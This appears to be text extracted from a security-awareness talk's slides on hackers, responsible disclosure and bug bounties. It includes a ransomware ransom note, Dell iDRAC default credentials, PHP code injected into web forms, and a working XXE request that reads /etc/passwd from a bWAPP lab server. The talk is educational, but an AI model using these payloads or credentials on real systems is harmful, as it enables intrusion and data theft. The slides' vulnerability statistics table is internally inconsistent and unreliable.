Hackers! Do I shoot or do I hug?
HONG KONG

THIS IS NOT F.A.I.R!
MA 15+

Not suitable for people under 15. Under 15s must be accompanied by a parent or adult guardian

*Reason: SPEEDSLIDES & TOO MUCH MEMES!
WE GOT PRIZES!
Anonimiteit en databases

- Selectie prijzen over wie anonymiteit opgeslagen in databases
- Toegang tot onbekende anderen

Ait/S
G.G.O.H. - Guild of the Grumpy Old Hackers

SOON

Want to help? Donate via 1CqRPDqjBWwhSa5QnHofwr71AFEfjmA48y

I Am The Cavalry
International Information Systems Security Certification Consortium

The (ISC)² Board of Directors hereby awards

William F. Slater, III

the credential of

Certified Information Systems Security Professional

Having met all of the certification requirements, which include the professional experience prerequisite, adoption of the (ISC)² Code of Ethics, and successful performance on the required competency examination, subject to recertification every three years, this individual is entitled to all of the rights and privileges associated with this designation, as defined in the (ISC)² Bylaws.

Chairperson
Patricia A. Myers

Recording Secretary

Certificate Number
57707

Expiration Date
July 2013

Certified Since
July 2004
YEAH, IF YOU COULD GET BACK TO WORK
THAT'D BE GREAT...
Security: The basics
WOW... SEGWAYS!
SECURE?
WIFI!
SECURE?
NO WIFI.
SECURE?
USB.
SECURE?
OKAY.
STANDALONE PC’S SECURE?

“I’m a stand-alone PC but I’m lonely and want to be part of a popular network.”

© 1997 Aaron Bacall from The Cartoon Bank. All rights reserved.
Tel Aviv Team First To Steal High-Level PC Crypto – Through A Wall

An Israeli security research team has described how to steal a cryptographic key from a computer simply by monitoring the radio waves it emits while decrypting a cipher.
HUMANS....

SECURE?
LEES MIJN BOEK
DOWNLOAD DE PDF
www.veiligbankieren.nl
Aight. But how do you get in?
BUT WE USE TAGS!

#WINNING!
COOL!
WE GOT
CHRIS PAGET
YOU LOSE....
Everything is hackable. But who is doing the hacking?
HACKERS!

Think different.
PICK YOUR HACKER:
SO...
ALL HACKERS ARE EVIL?
WELL... (NOT ALL RIGHT?)

http://TheFunnyPlace.net
RESPONSIBLE DISCLOSURE*
AND BUG-BOUNTIES

*I coordinated Vulnerability Disclosure
Responsible Disclosure in Nederland

Historie en Toekomst

24 oktober 2014
Responsible Disclosure Statement
At Zeroocpter, we consider the security of our systems a top priority. But no matter how much effort we put into
system security, there can still be vulnerabilities present.
If you discover a vulnerability, we would like to know about it so we can take steps to address it as quickly as
possible. We would like to ask you to help us better protect our clients and our systems.

Please do the following:
- Submit your findings by using the following URL: https://app.zeroocpter.com/responsible_disclosure/eef4f999-
  2477-4802-8542-161435d30e06.
- Do not take advantage of the vulnerability or problem you have discovered, for example by downloading more
data than necessary to demonstrate the vulnerability or deleting or modifying other people's data.
- Do not reveal the problem to others until it has been resolved.
- Do not use attacks on physical security, social engineering, distributed denial of service, spam or
  applications of third parties.
- Do provide sufficient information to reproduce the problem, so we will be able to resolve it as quickly as
  possible. Usually, the IP address or the URL of the affected system and a description of the vulnerability will
  be sufficient, but complex vulnerabilities may require further explanation.

What we promise:
- We will respond to your report within 5 business days with our evaluation of the report and an expected
  resolution date.
- If you have followed the instructions above, we will not take any legal action against you in regard to the
  report.
- We will not pass on your personal details to third parties without your permission.
- We will keep you informed of the progress towards resolving the problem.
- In the public information concerning the problem reported, we will give your name as the discoverer of the
  problem (unless you desire otherwise).

We strive to resolve all problems as quickly as possible, and we would like to play an active role in the
ultimate publication on the problem after it is resolved.

This Responsible Disclosure policy is based on an example written by Floor Terra.
Victor
@0xDUDE  Follows you
(Ethical) hacker. 4,710 Responsible Disclosures since ’98.

Chief Janitor at @GDI_FDN

Tweets 1,544
Following 1,331
Followers 850
Likes 1,391

Tweets

Pinned Tweet

Victor @0xDUDE  Feb 13
4,700
0x125c
1001001011100
Four thousand seven hundred
Chris Roberts @Sidragon1 - Apr 16
Bye bye electronics, all encrypted...and all now in custody/seized

Shall we start?
? :)

Rafał Łoś @Sidragon1
IT’S NOT A BUG. IT’S A FEATURE!
And there you have it, a machine controlling an X-Ray device on VNC with patient data open.. shodan.io/host/189.70.24...

RD/CVD - YES/NO?
Vulnerabilities are inevitable. Are you prepared?

All technology contains bugs. If a security issue is found, what do you do? HackerOne makes it simple for your team to coordinate a quality response.

Try a free demo
or get in touch.

Customers

Yahoo! Twitter Mail.Ru Square Coinbase Airbnb Slack Dropbox Vimeo
Level up your online security

Zerocopter is an innovative security platform, on a mission to help make online security more effective and manageable. We do this by leveraging the best researchers and scanners in the world and offering an easy and secure Responsible Disclosure solution.
**Researcher Programs**
A select group of experts will look for the unknown vulnerabilities.

- New Program

**Responsible Disclosure**
Enabling RD for your program will allow anyone with access to your RD policy to report any discovered vulnerabilities.

- New RD Policy

**Scanners**
Scanners are the step towards continuous security. Vulnerabilities that are found will be reported to you.

- Schedule a new Scanner

---

**HoofdvandeHacker**
€10000 budget left of €10000 total
Expired program
0 open and 0 closed reports
### Vulnerability Analysis

<table>
<thead>
<tr>
<th>Year</th>
<th># of Vulnerabilities</th>
<th>DoS</th>
<th>Code Execution</th>
<th>Overflow</th>
<th>Memory Corruption</th>
<th>SQL Injection</th>
<th>XSS</th>
<th>Directory Traversal</th>
<th>HTTP Response Splitting</th>
<th>Bypass Something</th>
<th>Gain Information</th>
<th>Gain Privileges</th>
<th>CSRF</th>
<th>File Inclusion</th>
<th># of exploits</th>
</tr>
</thead>
<tbody>
<tr>
<td>1999</td>
<td>1</td>
<td></td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2000</td>
<td>1</td>
<td></td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2001</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2002</td>
<td>7</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2003</td>
<td>5</td>
<td></td>
<td>3</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2004</td>
<td>6</td>
<td></td>
<td>5</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2005</td>
<td>16</td>
<td></td>
<td>4</td>
<td>9</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2006</td>
<td>31</td>
<td></td>
<td>4</td>
<td>10</td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2007</td>
<td>35</td>
<td></td>
<td>5</td>
<td>10</td>
<td></td>
<td></td>
<td>1</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2008</td>
<td>64</td>
<td></td>
<td>5</td>
<td>26</td>
<td></td>
<td></td>
<td>2</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2009</td>
<td>95</td>
<td></td>
<td>29</td>
<td>64</td>
<td></td>
<td></td>
<td>19</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2010</td>
<td>207</td>
<td></td>
<td>121</td>
<td>177</td>
<td></td>
<td></td>
<td>106</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2011</td>
<td>202</td>
<td></td>
<td>100</td>
<td>162</td>
<td></td>
<td></td>
<td>92</td>
<td>14</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2012</td>
<td>146</td>
<td></td>
<td>73</td>
<td>125</td>
<td></td>
<td></td>
<td>111</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2013</td>
<td>148</td>
<td></td>
<td>70</td>
<td>120</td>
<td></td>
<td></td>
<td>104</td>
<td>69</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2014</td>
<td>138</td>
<td></td>
<td>36</td>
<td>83</td>
<td></td>
<td></td>
<td>52</td>
<td>38</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015</td>
<td>66</td>
<td></td>
<td>28</td>
<td>52</td>
<td></td>
<td></td>
<td>9</td>
<td>22</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td>1169</td>
<td></td>
<td>494</td>
<td>858</td>
<td>562</td>
<td>421</td>
<td>1</td>
<td>65</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**% Of All:**
- DoS: 41.4%
- Code Execution: 73.4%
- Overflow: 48.1%
- Memory Corruption: 36.0%
- SQL Injection: 0.1%
- XSS: 5.6%
- Directory Traversal: 0.3%
- HTTP Response Splitting: 0.3%
- Bypass Something: 6.3%
- Gain Information: 3.8%
- Gain Privileges: 2.1%
- CSRF: 0.6%
- File Inclusion: 0.1%

**Warning:** Vulnerabilities with publish dates before 1999 are not included in this table and chart. (Because there are not many of them and they make the page look bad; and they may not be actually published in those years.)

### Vulnerabilities By Year

- 1999: 1
- 2000: 1
- 2001: 1
- 2002: 7
- 2003: 5
- 2004: 6
- 2005: 16
- 2006: 31
- 2007: 35
- 2008: 64
- 2009: 95
- 2010: 207
- 2011: 202
- 2012: 146
- 2013: 148
- 2014: 138
- 2015: 66

### Vulnerabilities By Type

- Execute Code (58)
- Overflow (562)
- Denial of Service (484)
- Bypass Something (7)
- Gain Information (44)
- Gain Privileges (25)
- Memory Corruption (421)
- SQL Injection (1)
- XSS (5)
- Directory Traversal (3)
ENTER ZERO-DAYS
ZERODIUM Payout Ranges*

LPE: Local Privilege Escalation
MTB: Mitigation Bypass
RCE: Remote Code Execution
RJB: Remote Jailbreak
SBX: Sandbox Escape
VME: Virtual Machine Escape

*All payout amounts are chosen at the discretion of ZERODIUM and are subject to change or cancellation without notice.
Typical botnet architecture
Botnets are typically composed of between several hundred to several million laptops or desktop PCs scattered around the world.

1. CYBER ATTACKER
   Illicitly installs malware that secretly connects computers to the botnet.
   - Infests email, websites
   - Controls infected computers to steal funds and private information, send spam, host and distribute malware, attack other computers.

2. COMMAND & CONTROL SERVERS
   The heart of the botnet; servers execute the various commands and processes.
   - A network of virus-infected computers controlled remotely by an attacker without the owners’ knowledge.

3. BOTNET
   Spreads and operates secretly; hackers infect PCs by sending emails tainted with malicious links and attachments or luring PC users to infected websites. Bots operate in the background, often without any visible evidence of their existence; can remain active and operational for years.

Advanced Persistent Threat (APT): The Uninvited Guest
How attackers remain in your network harvesting information and avoiding detection over time

1. INCURSION
   Attackers break into network by using social engineering to deliver targeted malware to vulnerable systems and people.

2. DISCOVERY
   Once in, the attackers stay “low and slow” to avoid detection. They then map the organization’s defenses to create a battle plan and deploy multiple parallel kill chains to ensure success.

3. CAPTURE
   Attackers access unprotected systems and capture information over an extended period. They may also install malware to secretly acquire data or disrupt operations.

4. EXFILTRATION
   Captured information is sent back to the attacker’s home base for analysis and further exploitation fraud—or worse.

ATTACK METHODS
- Social Engineering
- Zero-Day Vulnerability
- RSB Injection
OR BY...

VUPEN security

Contact: info@vupen.com

PGP Key
Or a little closer to home....
WARNING!

Your personal files are encrypted!
Don't switch off your computer and/or internet, otherwise your key will be disabled.

Private key will be destroyed on 04/07/2015 at 8:47 AM

Time left: 71:41:11

1. You should register Bitcoin wallet (https://blockchain.info/wallet)

2. Purchasing Bitcoins - Although it's not yet easy to buy bitcoins, it's getting simpler every day.

   Here are our recommendations:
   - LocalBitcoins.com (WU) - Buy Bitcoins with Western Union
   - Coinafera.com - Recommended for fast, simple service. Payment Methods: Western Union, Bank of America, Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin ATM, In Person LocalBitcoins.com - Service allows you to search for people in your community willing to sell bitcoins to you directly.
   - coinw.com - Another fast way to buy bitcoins
   - bitquick.co - Buy Bitcoins Instantly for Cash
   - cashintocoin.com - Bitcoin for cash.
   - coirJar.com - CoirJar allows direct bitcoin purchases on their site.
   - zipzapinc.com - ZipZap is a global cash payment network enabling consumers to pay for digital currency.

3. Send 1.25 BTC ($300) to Bitcoin address specified below:

Send 1.25 BTC ($300) to the following address:
1NadLtZHFgjmqUuQ58dG5b7ADCe5N6z1 or copy from QR code

Your Bot ID: 000027B8 (put in NOTE field)

During the payment of 300 USD please use your Bot ID, otherwise your files will not be decrypted.
AND PRETTY UNIQUE...
Smart guys those hackers....
- Tox is free
- Tox uses bitcoins and TOR
- The malware works as advertised
- High anti-malware evasion

- Enter ransom amount
- Enter your ‘cause’
- Submit the captcha
RIGHT. LET’S PWN!
OBJECTIVE:
GET THE CROWN JEWELS
### VLAN Information

<table>
<thead>
<tr>
<th>Primary VLAN:</th>
<th>VLAN 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Management VLAN:</td>
<td>NONE</td>
</tr>
<tr>
<td>Max VLANs:</td>
<td>256</td>
</tr>
<tr>
<td>GVRP:</td>
<td>Disabled</td>
</tr>
</tbody>
</table>

### VLAN Table

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Voice</th>
<th>IP Config</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>DEFAULT_VLAN</td>
<td>Port Based</td>
<td>No</td>
<td>Disabled</td>
<td>192.168.200.1</td>
</tr>
<tr>
<td>10</td>
<td>Servers</td>
<td>Port Based</td>
<td>No</td>
<td>Manual</td>
<td>192.168.199.1</td>
</tr>
<tr>
<td>11</td>
<td>Beheer</td>
<td>Port Based</td>
<td>No</td>
<td>Manual</td>
<td>192.168.150.1</td>
</tr>
<tr>
<td>20</td>
<td>Clients_LAN</td>
<td>Port Based</td>
<td>No</td>
<td>Manual</td>
<td>192.168.151.1</td>
</tr>
<tr>
<td>30</td>
<td>Clients_WiFi</td>
<td>Port Based</td>
<td>No</td>
<td>Manual</td>
<td></td>
</tr>
</tbody>
</table>

### Network Alerts

- Mon Aug 13 16:43:01 1990: Warning, Loss of link, Lost connection to multiple devices on port 14
- Mon Aug 13 16:40:58 1990: Warning, Loss of link, Lost connection to multiple devices on port 18
- Fri Aug 10 22:50:16 1990: Warning, Loss of link, Lost connection to
Dell Idrac Default user and password

MAY 25, 2012  4 COMMENTS

★ ★ ★ ★ ★ 19 Votes

At a few days ago I had to use Idrac to check a Dell server, and did not knew the password and user, there is a default user and password.

The default user is root, and the default password is calvin.

Hope that this information can be useful.
Let’s hack! Web style...
Telefoonnummer*

Geboortegegevens

Geboortedag * Geboortemaand * Geboortejaar *
1 Januari 1970

Geboortepagina

test

Rekeningnummer: Benodigd voor het maken van investeringsovereenkomst

Rekeningnummer * Rekening t.n.v. *
NL33 <?php echo '4'; ?>

Pas profiel aan
Geboorteggevens

Geboortedag *
1

Geboortemaand *
Januari

Geboortear *
1970

Geboorteplaats

test

Rekeningnummer: Benodigd voor het maken van investeringsovereenkomst

Rekeningnummer *
NL33

Rekening t.n.v. *
4
ONE SHOULD NOT SIMPLY IGNORE

INPUT VALIDATION
ECARDS... AS A SERVICE!
ONE SHOULD NOT SIMPLY IGNORE

<?php
phpinfo();
?>

/wp-content/uploads/
TRY HARDER...
XXE ANYBODY?
eva's secret has been reset!

<reset><login>eva</login><secret>Any bugs?</secret></reset>
POST http://192.168.122.95/bWAPP/xxe-2.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Content-Type: text/xml; charset=UTF-8
Referer: http://192.168.122.95/bWAPP/xxe-1.php
Content-Length: 59
Cookie: PHPSESSID=f3bce1fa57915a3956ff676748361fbc; security_level=0
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Host: 192.168.122.95

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY sorry SYSTEM "file:///etc/passwd">
]>
<reset><login>&sorry;</login><secret>Any bugs?</secret></reset>
HTTP/1.1 200 OK
Date: Fri, 29 May 2015 09:13:00 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2287
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin:/sh
bin:x:2:2:bin:/bin:/bin:/sh
sys:x:3:3:sys:/dev:/bin:/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin:/sh
man:x:6:6:man:/var/cache/man:/bin:/sh
lp:x:7:7:lp:/var/spool/lpd:/bin:/sh
mail:x:8:8:mail:/var/mail:/bin:/sh
news:x:9:9:news:/var/spool/news:/bin:/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin:/sh
proxy:x:13:13:proxy:/bin:/sh
www-data:x:33:33:www-data:/var/www:/bin:/sh
backup:x:34:34:backup:/var/backups:/bin:/sh
list:x:38:38:Mailing List Manager:/var/list:/bin:/sh
irc:x:39:39:ircd:/var/run/ircd:/bin:/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin:/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin:/sh
SECURING CODE FROM THE START IT IS POSSIBLE!

Training developers in writing secure code

SKF is a fully open-source Python-Flask web-application that uses the OWASP Application Security Verification Standard to train you and your team in writing secure code, by design.

Fork on Github  View demo

2015 Open Source Rookies of the Year
We are honored to receive a honorable mention for the Black Duck Open Source Rookies of the Year awards.
14-03-2016 | Article on blackducksoftware.com

OWASP
Presentation about skf on the OWASP BeNeLux Days
18-02-2016

SKF proven useful? You can donate to the project on our OWASP Wiki page.
XML injection prevention

Example:

```php
<?php

    /*
    Whenever you are using XML parsers you must sanitise or encode all user-input before
    including this input into your XML file.

    Some methods like below, the DomDocument already encodes the input before storing it
    into the XML. But beware, since this encoded input is still a threat whenever you are
    displaying this data on screen as HTML output. This encoded data should be escaped
    at all times before displaying.

    Whenever your XML function does not encode your data on the fly, you may want to write
    your own function for achieving this. See the code examples and search for "Input encoding"
    for more detailed information.
*/

    // Let us take an easy example where we store your favorite number name into a XML file.
    $doc = new DOMDocument();
    $doc->formatOutput = true;
    $doc->xmlVersion = "1.0";
    $doc->encoding = "UTF-8";
    $xml = $doc->createElement("employees");
    $doc->appendChild($xml);
    $doc->save("employees.xml");
```
DONE.
SOME LAST TIPS:

- RESEARCHERS NEED TIME
- SCOPE